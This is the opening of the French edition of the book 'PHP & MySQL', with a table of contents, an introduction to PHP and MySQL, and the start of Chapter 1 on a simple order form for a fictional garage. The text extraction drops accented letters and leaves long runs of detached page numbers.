PHP &
MySQL
Luke Welling
Laura Thomson
Rseaux
et tlcom
Dveloppement
Web
Gnie logiciel
Scurit
Systme
dexploitation
4e dition
PHP
& MySQL
4e dition
Pearson Education France a apport le plus grand soin la ralisation de ce livre afin de vous fournir une information complte et fiable. Cependant, Pearson Education France nassume de responsabilits, ni pour son utilisation, ni pour les contrefaons de brevets ou atteintes aux droits de tierces
personnes qui pourraient rsulter de cette utilisation.
Les exemples ou les programmes prsents dans cet ouvrage sont fournis pour illustrer les descriptions
thoriques. Ils ne sont en aucun cas destins une utilisation commerciale ou professionnelle.
Pearson Education France ne pourra en aucun cas tre tenu pour responsable des prjudices
ou dommages de quelque nature que ce soit pouvant rsulter de lutilisation de ces exemples ou
programmes.
Tous les noms de produits ou marques cits dans ce livre sont des marques dposes par leurs
propritaires respectifs.
Aucune reprsentation ou reproduction, mme partielle, autre que celles prvues larticle L. 122-5 2 et 3 a) du code de la
proprit intellectuelle ne peut tre faite sans lautorisation expresse de Pearson Education France ou, le cas chant, sans
le respect des modalits prvues larticle L. 122-10 dudit code.
No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including
photocopying, recording or by any information storage retrieval system, without permission from Pearson Education, Inc.
Performances ...................................................................................................
Adaptabilit .....................................................................................................
Cot .................................................................................................................
Portabilit ........................................................................................................
Performances ...................................................................................................
Portabilit ........................................................................................................
10
11
IV
Partie I
Utilisation de PHP
1 PHP : les bases .............................................................................................................
Utilisation de PHP ......................................................................................................
Formulaires HTML ....................................................................................................
Code du formulaire .........................................................................................
Traitement du formulaire ................................................................................
Incorporation de code PHP dans du code HTML ......................................................
Balises PHP .....................................................................................................
Styles des balises PHP ....................................................................................
Instructions de PHP .........................................................................................
Espaces ...........................................................................................................
Commentaires .................................................................................................
Ajout de contenu dynamique ......................................................................................
Appel de fonctions ..........................................................................................
Fonction date() ................................................................................................
Accs aux variables des formulaires ..........................................................................
Variables des formulaires ................................................................................
Concatnation de chanes ................................................................................
Variables et littraux ........................................................................................
Identificateurs .............................................................................................................
Cration de variables ..................................................................................................
Affectation de valeurs des variables ........................................................................
Types des variables ..........................................................................................
Types de donnes du PHP ...............................................................................
Intrt du typage ..............................................................................................
Transtypage .....................................................................................................
Variables dynamiques ......................................................................................
Constantes ...................................................................................................................
Porte des variables ....................................................................................................
Oprateurs ...................................................................................................................
Oprateurs arithmtiques ................................................................................
Oprateur de chanes .......................................................................................
Oprateurs daffectation ..................................................................................
Oprateurs de comparaison .............................................................................
Oprateurs logiques .........................................................................................
Oprateurs sur les bits .....................................................................................
Autres oprateurs ............................................................................................
Utilisation des oprateurs : calcul des totaux dun formulaire ...................................
Priorit et associativit des oprateurs : ordre dvaluation des expressions ............
15
16
16
16
18
18
19
20
20
21
22
22
23
24
24
24
28
28
29
30
30
30
30
31
32
32
33
33
35
35
36
36
39
40
41
42
44
46
47
48
49
49
50
50
50
51
51
52
53
55
55
56
58
59
59
60
60
61
63
63
64
65
65
65
66
69
70
72
73
73
74
76
77
77
77
79
80
80
VI
81
81
81
81
81
83
84
84
85
86
86
87
87
89
89
90
91
91
91
92
92
94
95
99
99
100
100
100
101
103
103
103
105
105
109
109
110
111
112
VII
114
114
115
115
118
118
119
145
145
145
123
125
125
126
127
128
128
129
129
130
131
132
134
134
135
136
137
137
137
138
138
138
139
141
141
142
142
143
VIII
Fiabilit ...........................................................................................................
Cohrence ........................................................................................................
Utilisation des instructions require() et include() .......................................................
Extensions des noms de fichiers et require() ...................................................
Utilisation require() pour crer des modles de site web ...........................................
Utilisation des options de configuration auto_prepend_file et auto_append_file
Utilisation de fonctions en PHP .................................................................................
Appel de fonctions ..........................................................................................
Appel dune fonction indfinie ........................................................................
Casse et noms des fonctions ...........................................................................
Dfinir ses propres fonctions ? ...................................................................................
Structure de base dune fonction ................................................................................
Attribution dun nom une fonction ...............................................................
Paramtres ..................................................................................................................
Porte ..........................................................................................................................
Passer des paramtres par rfrence et par valeur ......................................................
Utilisation du mot-cl return .....................................................................................
Retour de valeurs des fonctions ..................................................................................
Rcursivit ..................................................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................
146
146
146
147
149
154
155
155
157
158
158
159
160
161
163
166
167
169
170
172
172
173
173
173
175
176
176
176
177
177
178
178
180
181
182
183
184
186
186
187
187
189
IX
197
197
197
198
199
199
200
201
201
203
203
204
205
205
207
208
210
213
214
214
Partie II
Utilisation de MySQL
8 Conception dune base de donnes web ....................................................................
Concepts des bases de donnes relationnelles ............................................................
Tables ...............................................................................................................
Colonnes ..........................................................................................................
Lignes ..............................................................................................................
Valeurs .............................................................................................................
Cls ..................................................................................................................
Schmas ...........................................................................................................
Relations ..........................................................................................................
Conception dune base de donnes web .....................................................................
Penser aux objets rels que vous modlisez ....................................................
viter denregistrer des informations redondantes ..........................................
Utiliser des valeurs de colonne atomiques ......................................................
Choisir des cls pertinentes .............................................................................
Penser aux questions que vous poserez votre base de donnes ....................
217
218
218
219
219
219
219
221
221
222
222
224
225
226
226
227
228
228
228
230
230
231
232
233
235
235
235
236
236
238
241
241
242
243
244
245
246
248
249
250
251
251
253
254
256
256
257
257
258
260
262
264
269
270
272
273
XI
276
276
279
279
279
280
280
11 Accs une base de donnes MySQL partir du Web avec PHP ........................
Fonctionnement des architectures de bases de donnes web .....................................
Principales tapes dans linterrogation dune base de donnes partir du Web ............
Vrifier et filtrer les donnes saisies par lutilisateur .................................................
tablissement de la connexion ...................................................................................
Choisir une base de donnes utiliser ........................................................................
Interroger la base de donnes .....................................................................................
Rcuprer les rsultats de la requte ..........................................................................
Dconnexion de la base de donnes ...........................................................................
Ajouter des informations dans la base de donnes .....................................................
Utiliser des instructions prpares ..............................................................................
Autres interfaces PHP pour les bases de donnes ......................................................
Utilisation dune interface de base de donnes gnrique : PEAR::MDB2 ...............
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................
281
281
285
285
286
287
288
289
290
290
294
295
296
298
298
299
299
301
303
305
306
307
308
308
308
309
310
311
311
314
314
320
320
XII
Permissions .....................................................................................................
Optimisation des tables ...................................................................................
Utilisation des index ........................................................................................
Utiliser des valeurs par dfaut .........................................................................
Autres astuces ..................................................................................................
Sauvegarder votre base de donnes MySQL ..............................................................
Restauration de votre base de donnes MySQL .........................................................
Implmenter la rplication .........................................................................................
Configurer le matre .......................................................................................
Raliser le transfert de donnes initial ............................................................
Configurer lesclave ou les esclaves ...............................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................
320
320
321
321
321
321
322
323
323
324
325
325
326
327
327
327
329
329
330
331
332
333
335
336
340
340
Partie III
Scurit
14 Scurit des applications web ...................................................................................
Stratgies de scurit ..................................................................................................
Partir du bon pied ............................................................................................
Trouver un quilibre entre la scurit et la facilit dutilisation .....................
Surveiller la scurit ........................................................................................
Une approche de base ......................................................................................
Identifier les menaces auxquelles nous devrons faire face .........................................
Accs ou modification de donnes confidentielles ..........................................
Perte ou destruction des donnes ....................................................................
Dni de service ................................................................................................
343
343
343
344
345
345
345
346
346
347
XIII
347
348
348
348
348
349
349
349
349
350
354
356
357
358
359
360
361
361
362
363
364
365
366
367
367
368
368
369
369
370
370
370
371
371
372
373
375
375
377
379
381
383
XIV
384
385
387
391
391
392
393
393
394
395
395
396
398
399
400
403
404
406
406
407
415
415
Partie IV
Techniques PHP avances
17 Interaction avec le systme de fichiers et le serveur ...............................................
Introduction au dpt de fichiers ................................................................................
Code HTML dun formulaire de dpt de fichiers ..........................................
criture du code PHP pour le traitement du fichier .......................................
Problmes frquents ........................................................................................
Utilisation des fonctions de manipulation des rpertoires ..........................................
Lecture du contenu de rpertoires ...................................................................
Obtention dinformations sur le rpertoire courant .........................................
Cration et suppression de rpertoires ............................................................
Interaction avec le systme de fichiers .......................................................................
Obtention dinformations sur les fichiers ........................................................
Modification des proprits dun fichier .........................................................
Cration, suppression et dplacement de fichiers ...........................................
Utilisation de fonctions dexcution de programmes .................................................
419
419
421
422
426
427
427
431
431
432
432
435
436
437
XV
439
440
440
441
441
442
443
445
450
450
457
457
457
458
458
459
459
459
462
464
465
465
467
469
471
472
473
474
474
475
476
477
477
477
478
478
478
479
480
XVI
482
483
483
484
487
488
491
492
492
493
501
501
501
503
503
504
504
505
505
506
506
506
507
507
508
508
510
512
517
518
519
519
520
521
522
522
523
523
523
XVII
524
525
526
Partie V
Crer des projets avec PHP et MySQL
23 Utilisation de PHP et de MySQL dans des projets importants .............................
Appliquer les rgles du gnie logiciel au dveloppement web ..................................
Planification et mise en uvre dun projet dapplication web ...................................
Rutilisation du code ..................................................................................................
crire du code facile maintenir ................................................................................
Standards de programmation ...........................................................................
Dcomposer le code ........................................................................................
Utiliser une structure standard pour vos rpertoires ........................................
Documenter et partager les fonctions dveloppes en interne ........................
Implmenter un contrle de versions ..........................................................................
Choisir un environnement de dveloppement ............................................................
Documenter vos projets ..............................................................................................
Prototypage .................................................................................................................
Sparation de la logique et du contenu .......................................................................
Optimisation du code ..................................................................................................
Quelques optimisations simples ......................................................................
Utilisation des produits de Zend .....................................................................
Tests ..........................................................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................
529
529
530
531
532
532
536
537
537
537
539
539
540
541
542
542
543
543
545
545
24 Dbogage ....................................................................................................................
Les erreurs de programmation ....................................................................................
Erreurs de syntaxe ...........................................................................................
Erreurs en cours dexcution ...........................................................................
Erreurs de logique ...........................................................................................
Aide au dbogage des variables ..................................................................................
Les niveaux derreur ...................................................................................................
Modifier les paramtres daffichage des erreurs .........................................................
Dclencher vos propres erreurs ..................................................................................
Grer correctement les erreurs ...................................................................................
Pour la suite ................................................................................................................
547
547
547
549
555
557
559
560
562
562
565
567
568
568
569
569
570
572
573
576
576
583
586
587
589
594
594
597
598
600
604
604
605
606
606
606
607
608
608
612
615
617
619
621
622
623
626
628
630
631
631
638
640
XIX
648
649
649
651
651
652
652
654
656
657
663
666
668
670
670
671
671
674
676
680
681
681
682
683
685
686
687
687
688
689
689
690
692
694
701
702
704
707
708
713
715
XX
716
717
718
720
720
721
723
726
730
731
736
737
739
739
740
742
743
746
749
752
753
759
761
768
769
769
771
771
772
772
772
773
773
774
775
776
777
777
777
780
781
XXI
783
786
789
793
793
798
805
806
806
807
807
808
811
813
813
814
815
815
815
820
826
828
836
842
844
846
850
850
851
851
853
854
854
856
856
858
858
858
859
859
861
XXII
863
865
868
869
882
882
883
883
Partie VI
Annexes
Annexe A Installation de PHP et de MySQL ...............................................................
Installation dApache, PHP et MySQL sous Unix .....................................................
Installation partir de binaires ........................................................................
Installation partir des sources .......................................................................
Installation de MySQL ....................................................................................
Installation de PHP ..........................................................................................
Modification du fichier httpd.conf ...................................................................
Test du fonctionnement de PHP .....................................................................
Test du fonctionnement de SSL ......................................................................
Installation dApache, de PHP et de MySQL sous Windows .....................................
Installation de MySQL sous Windows ............................................................
Installation dApache sous Windows ..............................................................
Installation de PHP sous Windows ..................................................................
Installation de PEAR ..................................................................................................
Autres configurations ..................................................................................................
887
888
888
889
890
892
895
896
897
898
898
900
902
904
905
907
907
910
910
910
Index ..................................................................................................................................
911
Introduction
Vous vous intressez au dveloppement web avec PHP et MySQL ? Ce livre est fait
pour vous ! Vous y trouverez nos expriences les plus utiles sur PHP et MySQL, deux
des plus passionnants outils de dveloppement web du moment.
paniers virtuels ;
forums web ;
Tous ces projets sont utilisables tels quels ou peuvent tre modifis en fonction de vos
besoins. Nous les avons choisis parce que nous pensons quils sont reprsentatifs des
applications web auxquelles les programmeurs sont le plus souvent confronts. Si vos
besoins sont diffrents, ce livre devrait toutefois vous aider atteindre vos objectifs.
Prsentation de PHP
PHP est un langage de script ct serveur qui a t conu spcifiquement pour le Web.
Le code PHP est inclus dans une page HTML et sera excut chaque fois quun visiteur
Introduction
affichera la page. Le code PHP est interprt au niveau du serveur web et gnre du
code HTML ou toute autre donne affichable dans le navigateur de lutilisateur.
PHP a t conu en 1994 par Rasmus Lerdorf. Il a ensuite t adopt par dautres
personnes talentueuses et rcrit quatre fois avant de devenir le produit abouti que nous
connaissons aujourdhui. En novembre 2007, il tait install sur plus de 21 millions de
domaines et sa croissance est rapide. Vous trouverez des statistiques plus rcentes sur le
site http://www.php.net/usage.php.
PHP est un projet open-source, ce qui signifie que vous pouvez vous procurer son code,
lutiliser, le modifier et le redistribuer gratuitement.
PHP signifiait lorigine Personal Home Page, mais ce nom a t chang en un acronyme rcursif comme GNU (Gnus Not Unix) : il signifie maintenant PHP Hypertext
Preprocessor.
La dernire version principale de PHP est la version 5. Elle bnficie dune rcriture
complte du moteur Zend et de quelques amliorations importantes au niveau du
langage.
La page daccueil de PHP est accessible ladresse http://www.php.net.
La page de Zend Technologies, lentreprise des fondateurs de PHP, se trouve ladresse
http://www.zend.com.
Prsentation de MySQL
MySQL est un systme de gestion de bases de donnes relationnelles (SGBDR) robuste
et rapide. Une base de donnes permet de manipuler les informations de manire efficace, de les enregistrer, de les trier, de les lire et dy effectuer des recherches. Le serveur
MySQL contrle laccs aux donnes pour sassurer que plusieurs utilisateurs peuvent
se servir simultanment dune mme base de donnes pour y accder rapidement et
pour garantir que seuls les utilisateurs autoriss peuvent accder aux donnes. MySQL
est donc un serveur multi-utilisateur et multithread. Il utilise SQL (Structured Query
Language), le langage standard des requtes de bases de donnes. MySQL est disponible depuis 1996, mais son dveloppement remonte 1979. Il sagit de la base de
donnes open-source la plus employe au monde et elle a reu le Linux Journal
Readers Choice Award plusieurs reprises.
MySQL est dsormais disponible sous une double licence. Vous pouvez lutiliser
gratuitement sous licence open-source (GPL) condition de respecter les termes de
cette licence. Si vous souhaitez distribuer une application non GPL incluant MySQL,
vous pouvez aussi acheter une licence commerciale.
un systme dexploitation ;
Certains de ces choix dpendent directement des autres. Tous les systmes dexploitation
ne fonctionnent pas sur toutes les plates-formes ; par exemple, tous les serveurs web ne
reconnaissent pas tous les langages de programmation, etc.
Dans ce livre, nous ne nous intresserons pas particulirement au matriel, votre
systme dexploitation ou votre logiciel de serveur web. Nous nen avons pas besoin
car lune des caractristiques intressantes de PHP et de MySQL tient ce quils fonctionnent avec tous les systmes dexploitation les plus connus et avec la plupart des
autres.
Un script PHP peut, dans la plupart des cas, tre crit de faon tre portable entre les
systmes dexploitation et les serveurs web. Certaines fonctions sont directement lies
aux spcificits dun systme de fichiers particulier, mais elles sont clairement identifies
comme telles dans le manuel de rfrence et dans ce livre.
Quels que soient votre plate-forme, votre systme dexploitation ou votre serveur web,
nous pensons que PHP et MySQL sont des options trs intressantes.
les performances ;
ladaptabilit ;
Introduction
un faible cot ;
la portabilit ;
Performances
PHP est trs rapide. Avec un seul serveur dentre de gamme, vous pouvez servir des
millions de requtes par jour. Les tests de performances publis par Zend Technologies
(http://www.zend.com) montrent que PHP dpasse tous ses concurrents.
Adaptabilit
PHP utilise ce que Rasmus Lerdorf dsigne souvent comme une architecture "sans
partage". Cela signifie que vous pouvez implmenter de faon efficace et peu de frais
une ferme de serveurs en ajoutant des machines en fonction de vos besoins.
Intgration avec les bases de donnes
PHP dispose de connexions natives vers la plupart des systmes de bases de donnes.
Outre MySQL, vous pouvez vous connecter directement aux bases de donnes
PostgreSQL, Oracle, dbm, FilePro, DB2, Informix, InterBase et Sybase, pour ne citer
quelles. PHP 5 possde galement une interface SQL intgre, SQLite, pour grer les
fichiers plats.
En fait, grce au standard ODBC (Open Database Connectivity), vous pouvez vous
connecter nimporte quelle base de donnes possdant un pilote ODBC, ce qui est le
cas des produits Microsoft, notamment.
Outre ces bibliothques natives, PHP dispose dune couche dabstraction pour laccs
aux bases de donnes : PDO (PHP Database Objects) autorise ainsi une certaine cohrence et facilite la prise en compte de la scurit lors de laccs aux bases.
Bibliothques intgres
PHP ayant t conu pour tre utilis sur le Web, il possde de nombreuses fonctions intgres permettant deffectuer la plupart des tches de programmation web.
Vous pouvez ainsi gnrer des images en temps rel, vous connecter des services
web et dautres services rseaux, analyser des documents XML, envoyer du courrier
lectronique, manipuler les cookies et produire des documents PDF avec seulement
quelques lignes de code.
Cot
PHP est gratuit. Vous pouvez vous procurer la dernire version du langage sur le site
http://www.php.net, sans payer quoi que ce soit.
Facilit dapprentissage de PHP
La syntaxe de PHP repose sur celle dautres langages de programmation, essentiellement C et Perl. Si vous savez dj programmer en C, en Perl ou en un autre
langage analogue, comme C++ ou Java, lapprentissage de PHP sera quasiment
immdiat.
Support orient objet
PHP 5 possde des fonctionnalits orientes objet bien conues. Si vous avez appris
programmer en Java ou en C++, vous disposerez en PHP des fonctionnalits (et, gnralement, de la syntaxe) dont vous avez lhabitude : lhritage, les attributs et les mthodes privs et protgs, les classes et les mthodes abstraites, les interfaces, les
constructeurs et les destructeurs, notamment. Vous dcouvrirez galement des mcanismes moins courants, comme les itrateurs. Certaines de ces fonctionnalits taient
disponibles dans PHP 3 et 4, mais le support orient objet de la version 5 est bien plus
complet.
Portabilit
PHP est disponible sur de nombreux systmes dexploitation. Vous pouvez crire votre
code PHP pour des systmes dexploitation Unix libres et gratuits, comme Linux ou
FreeBSD, pour des versions commerciales dUnix comme Solaris, IRIX, OS-X ou pour
les diffrentes versions de Windows.
Un code PHP bien crit pourra donc gnralement tre utilis sans modification sur un
autre systme.
Souplesse dans le processus de dveloppement
PHP permet dimplmenter simplement les traitements simples, mais vous pouvez tout
aussi facilement implmenter de grosses applications laide dun framework reposant
sur les patrons de conception, comme Modle-Vue-Contrleur (MVC).
Introduction
Code source
Le code source de PHP est disponible gratuitement. Contrairement aux produits
commerciaux, dont les sources ne sont pas distribus, vous avez donc la possibilit de
modifier le langage ou dy ajouter de nouvelles caractristiques.
Vous navez par consquent plus besoin dattendre que les concepteurs distribuent des
correctifs logiciels et navez plus craindre la disparition de la socit ou larrt du
support du produit que vous utilisez.
Disponibilit du support et de la documentation
Zend Technologies (www.zend.com), lentreprise qui est lorigine du moteur de PHP,
finance son dveloppement en offrant des services de support et des logiciels lis sous
forme commerciale.
La documentation et la communaut PHP fournissent un grand nombre de ressources et
dinformations compltes sur le langage.
Nouveauts de PHP 5
Il se peut que vous soyez rcemment pass de lune des versions PHP 4.x PHP 5.
Comme on est en droit de lattendre dans une nouvelle version majeure, dimportantes
modifications ont vu le jour et le moteur Zend de PHP a t rcrit pour cette version.
Voici les principales nouvelles fonctionnalits :
m
un meilleur support orient objet construit autour dun modle objet entirement
nouveau (voir Chapitre 6) ;
la gestion des exceptions pour un traitement volutif des erreurs, facilitant la maintenance (voir Chapitre 7) ;
SimpleXML pour une gestion simplifie des donnes XML (voir Chapitre 31).
une nouvelle extension pour filtrer les entres, afin damliorer la scurit ;
m
m
un cot rduit ;
sa portabilit ;
la disponibilit du support.
Performances
MySQL est indniablement un systme rapide. Vous pouvez consulter les statistiques
de ses performances sur le site http://web.mysql.com/why-mysql/benchmark.html.
La plupart des tests montrent que MySQL est bien plus rapide que ses concurrents, de
plusieurs ordres de grandeur. En 2002, eWeek a publi un banc dessais qui comparait
cinq bases de donnes alimentant une application web. Le meilleur rsultat a plac ex
quo MySQL et Oracle, qui est pourtant un produit bien plus cher.
Cot rduit
MySQL est disponible gratuitement sous une licence open-source ou, pour un prix trs
raisonnable, sous licence commerciale. Vous devez vous procurer une licence si vous
souhaitez redistribuer MySQL dans une application et que vous ne souhaitiez pas que
lapplication se trouve sous licence open-source. Si vous ne comptez pas distribuer
votre application (ce qui est gnralement le cas de la plupart des applications web) ou
si vous travaillez sur un logiciel open-source, il nest pas ncessaire dacheter une
licence.
Simplicit demploi
La plupart des bases de donnes modernes utilisent SQL. Si vous connaissez dj
dautres SGBDR, vous ne devriez pas avoir de problme pour vous adapter. En outre,
Introduction
MySQL est plus simple installer que la plupart des produits similaires. La courbe
dapprentissage ncessaire lacquisition des comptences dun administrateur de base
de donnes (DBA, ou DataBase Administrator) est bien plus courte que celle des autres
bases de donnes.
Portabilit
MySQL peut tre utilis sur un grand nombre de systmes Unix, ainsi quavec
Windows.
Code source
Comme pour PHP, vous pouvez vous procurer le code source de MySQL. Pour la
plupart des utilisateurs, ce point nest pas important, mais il doit vous tranquilliser
lesprit en vous assurant une continuit future et en vous offrant des possibilits en cas
durgence.
Disponibilit du support
Tous les produits open-source nont pas une entreprise parente qui propose des services
de support, de formations, de consultation et de certification : vous pouvez obtenir tout
cela de la part de MySQL AB (www.mysql.com).
Nouveauts de MySQL 5
Parmi les modifications majeures introduites par MySQL 5, nous citerons les suivantes :
m
les vues ;
On peut galement noter une meilleure compatibilit avec le standard ANSI et des
amliorations en matire de vitesse.
Si vous utilisez toujours une ancienne version 4.x ou 3.x du serveur MySQL, vous
devez savoir que les fonctionnalits suivantes ont t ajoutes aux diffrentes versions
depuis la version 4.0 :
m
10
m
m
Ce livre utilise MySQL 5.1 (Beta Community Edition), qui ajoute les fonctionnalits
suivantes :
m
partitionnement ;
tables de log ;
Organisation de ce livre
Ce livre est dcoup en cinq parties.
La premire partie prsente les diffrents lments du langage PHP, ainsi que quelques
exemples. Tous ces exemples sont pratiques, issus de notre exprience dans limplmentation dun site de commerce lectronique, et non thoriques. La prsentation de
PHP dbute avec le Chapitre 1 : si vous connaissez dj le langage, vous pouvez passer
directement au chapitre suivant. Si vous dbutez en PHP ou en programmation, en
revanche, il peut tre intressant de vous y arrter un peu plus longuement. Si vous
connaissez dj PHP 4, consultez quand mme le Chapitre 6 car les fonctionnalits
orientes objet ont sensiblement chang.
La deuxime partie aborde les concepts ncessaires lutilisation des systmes de bases
de donnes relationnelles, comme MySQL, lutilisation de SQL, linterconnexion de
votre base de donnes MySQL avec le monde extrieur, en passant par PHP et certains
concepts avancs de MySQL, comme la scurit et les optimisations.
La troisime partie est consacre aux problmes gnraux qui peuvent survenir lors du
dveloppement dun site web dans nimporte quel langage. Les problmes les plus
importants concernent la scurit. Nous verrons ensuite comment vous pouvez tirer
profit de PHP et de MySQL pour authentifier vos utilisateurs et collecter, transmettre et
enregistrer vos donnes en toute scurit.
La quatrime partie sintresse plus prcisment aux principales fonctions intgres dans
PHP. Nous avons slectionn des groupes de fonctions qui vous intresseront srement
Introduction
11
lorsque vous implmenterez un site web. Vous y apprendrez notamment ce quest linteraction avec le serveur, linteraction avec le rseau, la gnration dimages, les manipulations de date et dheure et les variables de sessions.
La cinquime et dernire partie est notre prfre : nous y tudierons quelques problmes rels, comme la gestion et le suivi de projets importants, ainsi que le dbogage des
applications. Nous prsenterons galement quelques projets mettant en vidence la
puissance et la flexibilit de PHP et de MySQL.
Encore un mot
Nous esprons que ce livre vous satisfera et que vous serez aussi passionn par
lapprentissage de PHP et de MySQL que nous lavons t lorsque nous avons
commenc nous servir de ces logiciels. Leur utilisation est un plaisir part entire.
Vous serez bientt mme de rejoindre les milliers de dveloppeurs web qui se servent
de ces outils puissants et robustes pour construire des sites web dynamiques.
I
Utilisation de PHP
1
Utilisation de tableaux
1
PHP : les bases
Ce chapitre expose succinctement la syntaxe et les constructions du langage PHP. Les
programmeurs PHP y trouveront peut-tre loccasion de complter leurs connaissances sur
le sujet. Ltude de ce chapitre sera plus facile et plus rapide pour ceux qui possdent des
notions de base sur dautres langages de programmation, comme C, Perl ou ASP.
Dans cet ouvrage, lapprentissage qui vous est propos repose sur de nombreux exemples du monde rel, tirs de lexprience des auteurs en matire de conception de sites
web. Les manuels de programmation exposent souvent la syntaxe de base en
sappuyant sur des exemples simples mais notre parti pris est diffrent. Nous pensons
quil est prfrable dapprendre un langage de programmation en ralisant des projets
oprationnels, plutt quassimiler un recueil de fonctions et un expos de la syntaxe qui
napportent gure plus que le manuel en ligne.
En consquence, nous vous proposons de vous faire la main sur les exemples donns
ici ; vous pouvez les saisir ou les charger partir du site Pearson (www.pearson.fr),
les modifier, en isoler des extraits et apprendre les adapter vos besoins.
Dans ce chapitre, vous verrez comment utiliser les variables, les oprateurs et les
expressions en construisant un formulaire de commande en ligne. Nous tudierons
galement les types de variables et les priorits des oprateurs. Vous apprendrez ensuite
accder aux variables des formulaires et manipuler celles-ci afin de calculer le
montant total et les taxes dans un bon de commande mis par un client.
Nous poursuivrons le dveloppement de cet exemple en insrant dans notre script PHP
le code ncessaire un contrle de la validit des donnes entres par lutilisateur.
cette occasion, nous prsenterons le concept de valeurs boolennes, ainsi que plusieurs
exemples dutilisation des instructions if, else et switch et de loprateur ?:.
Enfin, nous aborderons les boucles en crivant du code PHP gnrant une structure de
tableau HTML de faon rptitive.
16
Partie I
Utilisation de PHP
Utilisation de PHP
La ralisation et lexcution des exemples prsents dans cet ouvrage ncessitent davoir
accs un serveur web sur lequel PHP est install. Pour tirer le meilleur parti des exemples
et des cas dcole traits ici, il est conseill de les excuter et dessayer de les modifier.
Pour cela, vous avez besoin dune installation de test o vous puissiez exprimenter loisir.
Si PHP nest pas install sur votre ordinateur, vous devez commencer par procder
son installation ou contacter votre administrateur systme pour quil sen charge. Vous
trouverez lAnnexe A, "Installation de PHP et de MySQL", une description de la
procdure dinstallation.
Formulaires HTML
Le traitement des formulaires HTML constitue une des applications les plus courantes
que doivent prendre en charge les langages de script excuts ct serveur. Cest pourquoi nous allons commencer lapprentissage de PHP par limplmentation dun formulaire de commande pour une entreprise fictive de vente de pices dtaches dnomme
Le garage de Bob. Vous trouverez tout le code relatif cette application modle dans le
rpertoire chapitre01 sur le site Pearson.
Code du formulaire
Nous allons partir du stade o le programmeur de lentreprise a tabli un formulaire
permettant aux clients de passer des commandes (voir Figure 1.1). Il sagit dun formulaire simple, comparable aux nombreux autres publis sur le Web.
Figure 1.1
Le formulaire initial
de Bob nenregistre
que les articles
et leurs quantits
respectives.
partir de ce formulaire, Bob veut en premier lieu rcuprer la liste des articles
commands par son client, tablir le montant total de la commande, ainsi que le
montant des taxes payer sur cette commande.
Chapitre 1
17
Une partie du code HTML gnrant ce formulaire est prsente dans le Listing 1.1.
Listing 1.1 : orderform.html Code HTML gnrant le formulaire basique
de commande de Bob
<form action="processorder.php" method=post>
<table border=0>
<tr bgcolor=#cccccc>
<td width=150>Articles</td>
<td width=15>Quantit</td>
</tr>
<tr>
<td>Pneus</td>
<td align="center"><input type="text" name="qte_pneus"
size="3" maxlength="3"></td>
</tr>
<tr>
<td>Huiles</td>
<td align="center"><input type="text" name="qte_huiles"
size="3" maxlength="3"></td>
</tr>
<tr>
<td>Bougies</td>
<td align="center"><input type="text" name="qte_bougies"
size="3" maxlength="3"></td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" value="Passer commande">
</td>
</tr>
</table>
</form>
Tout dabord, notez que lattribut action de la balise form de ce formulaire a pour
valeur le nom du script PHP qui va traiter la commande du client (et que nous crirons un
peu plus loin). En gnral, la valeur affecte lattribut action est lURL charger lorsque
lutilisateur appuie sur le bouton submit. Les donnes saisies par lutilisateur dans le
formulaire sont alors transmises cette URL, via la mthode spcifie dans lattribut
method, cest--dire soit get (dans ce cas, les donnes sont spcifies la fin de lURL),
soit post (dans ce cas, les donnes sont transmises sous forme dun paquet spar).
Notez galement les noms des champs du formulaire (qte pneus, qte huiles et
qte bougies) : comme nous les utiliserons dans notre script PHP, il est important de
choisir des noms explicites facilement mmorisables. Certains diteurs HTML gnrent
par dfaut des noms de champs tels que field23 mais il est difficile de sen souvenir
lorsque lon crit ensuite le script. Pour faciliter votre travail de programmeur PHP,
nous vous conseillons dadopter des noms qui refltent la nature des donnes entres
dans les champs.
18
Partie I
Utilisation de PHP
Vous devriez mme adopter une convention pour dnommer les noms des champs lors
de la cration dun site web ; de cette faon, les noms des champs se conformeront au
mme format sur lensemble du site. Une telle convention peut, par exemple, stipuler
que les noms de champ sont obtenus en abrgeant les mots et en remplaant les espaces
par des blancs souligns.
Traitement du formulaire
Pour traiter le formulaire, nous devons crer le script processorder.php auquel renvoie
la valeur de lattribut action de la balise form. Dans votre diteur de texte, tapez le code
suivant et sauvegardez-le sous ce nom :
<html>
<head>
<title>Le garage de Bob Rsultats de la commande</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<h2>Rsultats de la commande</h2>
</body>
</html>
Vous remarquerez que ces lignes ne sont que du code HTML. Nous allons prsent leur
ajouter du code PHP.
Enregistrez votre fichier, puis chargez-le dans votre navigateur web en remplissant le
formulaire de Bob et en cliquant sur le bouton Passer commande. La Figure 1.2 montre
le rsultat que vous devez alors obtenir.
Figure 1.2
Le texte pass une
instruction echo de
PHP est affich dans
le navigateur web.
Chapitre 1
19
Notez comment le code PHP a t incorpor dans un fichier HTML "normal". Affichez
la source de la page dans votre navigateur. Voici le code que vous devriez voir :
<html>
<head>
<title>Le garage de Bob - Rsultats de la commande</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<h2>Rsultats de la commande</h2>
<p>Commande traite.
</body>
</html>
Le code PHP brut nest pas affich tel quel dans le navigateur. En effet, linterprteur
PHP analyse le script et le remplace par le rsultat de son excution. partir dun
script PHP, nous pouvons ainsi produire du code HTML directement affichable dans un
navigateur, sans que le navigateur comprenne le langage PHP.
Cet exemple illustre le concept de programmation web ct serveur : le code PHP est
interprt et excut sur le serveur web, contrairement au code JavaScript et aux autres
technologies ct client, qui sont interprtes et excutes par le navigateur, sur lordinateur de lutilisateur.
Le code contenu dans le fichier considr ici se compose de quatre lments :
m
du HTML ;
des espaces.
20
Partie I
Utilisation de PHP
Style XML :
<?php echo "<p>Commande traite.";?>
Il sagit du style de balise qui sera employ dans ce livre. Ce style est le style de rfrence utiliser avec PHP 3 et PHP 4 car ladministrateur du serveur ne peut pas le
dsactiver, ce qui vous garantit sa disponibilit sur tous les serveurs et qui est particulirement important si vous crivez des applications qui peuvent tre utilises sur
diffrentes installations. Ce style de balise est compatible avec des documents XML
(eXtensible Markup Language). Nous vous conseillons dutiliser ce style de balise.
m
Style abrg :
<? echo "<p>Commande traite.";?>
